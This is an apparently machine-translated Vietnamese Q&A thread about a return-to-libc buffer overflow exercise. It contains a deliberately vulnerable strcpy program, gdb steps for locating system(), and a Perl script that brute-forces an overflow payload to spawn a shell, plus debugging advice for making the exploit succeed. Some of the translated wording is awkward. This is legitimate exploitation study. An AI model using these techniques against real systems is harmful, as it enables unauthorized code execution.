2012-11-26 29 views
6

Tôi đang lộn xộn xung quanh với tràn bộ đệm, đặc biệt là trở về loại libc.Quay trở lại libc - Hướng dẫn bất hợp pháp

Tôi có đoạn code dễ bị tổn thương sau:

#include<stdio.h> 
#include<string.h> 

main(int argc, char **argv) 
{ 
    char buffer[80]; 
    getchar(); 
    strcpy(buffer, argv[1]); 
    return 1; 
} 

tôi biên soạn nó bằng cách sử gcc-2,95 (không -fstack-protector) với -mpreferred-stack-boundary=2 cờ. Tôi theo sau sự trở lại vào chương libc của "Hacking: The Art of Exploitation".

Trước tiên, tôi tàn tật ASLR:

$ cat /proc/sys/kernel/randomize_va_space 
0 

tôi phát hiện ra địa chỉ của system:

$ cat find_system.c 
int main() { 
    system(""); 
    return 0; 
} 
$ gdb -q find_system 
Reading symbols from /home/bob/return_to_libc/find_system...(no debugging symbols found)...done. 
(gdb) break main 
Breakpoint 1 at 0x8048416 
(gdb) run 
Starting program: /home/bob/return_to_libc/find_system 

Breakpoint 1, 0x08048416 in main() 
(gdb) p system 
$1 = {<text variable, no debug info>} 0xb7eb6680 <system> 

Tôi tạo ra một biến môi trường để chứa các lệnh tôi muốn thực hiện sử dụng system:

$ cat get_env.c 
#include <stdio.h> 
#include <stdlib.h> 

int main(int argc, char *argv[]) { 
    printf("%s=%s: %p\n", argv[1], getenv(argv[1]), getenv(argv[1])); 
    return 0; 
} 
$ export EXPLOIT=/bin/zsh 
$ ./get_env EXPLOIT 
EXPLOIT=/bin/zsh: 0xbffff96d 

Và sau đó tôi đã thực hiện một kịch bản perl để tự động ăn vỏ:

$ cat script.pl 
#!/usr/bin/perl 

for ($i = 1; $i < 200; $i++) { 
    print "Perl count: $i\n"; 
    system("echo 1 | ./vuln '" . "A"x$i . "\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf'"); 

} 
$ ./script.pl 
(...) 
Perl count: 69 
Perl count: 70 
Perl count: 71 
Perl count: 72 
Illegal instruction 
Perl count: 73 
Segmentation fault 
Perl count: 74 
Segmentation fault 
(...) 

Tôi đã làm sai ở đâu? Tại sao tôi nhận được "hướng dẫn bất hợp pháp" thay vì vỏ của tôi?

+0

Đính kèm trình gỡ lỗi và tìm ra (đảm bảo đưa một 'sleep (30)' vào chương trình dễ bị tổn thương để cho bạn đủ thời gian để đính kèm trình gỡ lỗi). Rất có thể, nó nhảy tới địa chỉ bộ nhớ hợp lệ nhưng chứa dữ liệu chứ không phải hướng dẫn. –

Trả lời

6
$ gdb vuln 
(gdb) run 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x80\x66\xeb\xb7FAKE\x6d\xf9\xff\xbf' 

Thay đổi số lượng 'A để kiểm tra các lỗi khác nhau. Trong tìm python -c "print 'A'*73" (73 được sử dụng để sản xuất ở trên) để được hữu ích cho việc tạo ra các đối số.

gdb sẽ cho bạn biết chính xác nơi bạn đang gặp sự cố và EIP/RIP khi bạn gặp sự cố. Điều này sẽ hướng dẫn bạn một câu trả lời cho câu hỏi của bạn.

Rất có thể, bạn không nhận được một con trỏ tốt trong địa chỉ trả về trên ngăn xếp và thực thi được chuyển vào bộ nhớ không được tháo rời để có hướng dẫn hợp lệ. Tôi nghĩ rằng bạn đang ở gần đây. Các lỗi segmentaion có nhiều khả năng được thực hiện hạ cánh trong một khu vực bộ nhớ mà thậm chí không được phân bổ.

Sử dụng (gdb) x/10i $eip để xác định hướng dẫn nào có tại EIP khi bạn gặp sự cố. Bạn có thể thay đổi độ dài của disassembly được hiển thị bằng cách thay đổi 10 trong lệnh đó.

Bạn cũng sẽ cần phải tìm ra nơi đối số của bạn cho hệ thống được hạ cánh trên ngăn xếp để nó làm cho nó vào vị trí thích hợp trong quy ước gọi để có được hệ thống để gọi nó. gdb cũng có thể giúp bạn ở đây (một lần nữa, sử dụng x - x/4w có thể - và i r).

Khai thác thành công yêu cầu cả hai phần trên: 0xb7eb6680 phải ở địa chỉ trả về và 0xbffff96d phải ở bất cứ nơi nào hệ thống sẽ đọc đối số đầu tiên từ đó.

Một mẹo hữu ích khác: đặt điểm ngắt trên ret ở cuối chức năng strcpy. Đây là một nơi thuận tiện để kiểm tra ngăn xếp của bạn và đăng ký nhà nước và xác định những gì bạn sắp làm. ret là nơi khai thác xảy ra: địa chỉ trả về mà bạn cung cấp được đọc, bộ xử lý bắt đầu thực hiện tại địa chỉ đó và bạn tắt, giả sử bạn có thể duy trì thực thi với các đối số thích hợp cho bất kỳ điều gì bạn đang gọi, v.v.Trạng thái của chương trình tại đây là ret là điểm tạo hoặc điểm ngắt nên đây là nơi dễ nhất để xem có gì sai với đầu vào của bạn và tại sao bạn sẽ hoặc không khai thác thành công lỗ hổng bảo mật.

Hãy tha thứ cho tôi nếu cú ​​pháp gdb của tôi không bị hỏng ... đó không phải là trình gỡ lỗi chính của tôi.

+0

Cảm ơn bạn đã trả lời. Đề xuất của bạn cuối cùng đã dẫn đến việc tôi tìm ra vấn đề là gì. Vấn đề là, bằng cách nào đó, địa chỉ trả về bởi getenv() không thể truy cập được. Tôi đã sửa lỗi này bằng cách lấy chuỗi ra khỏi 'environ'. –

Các vấn đề liên quan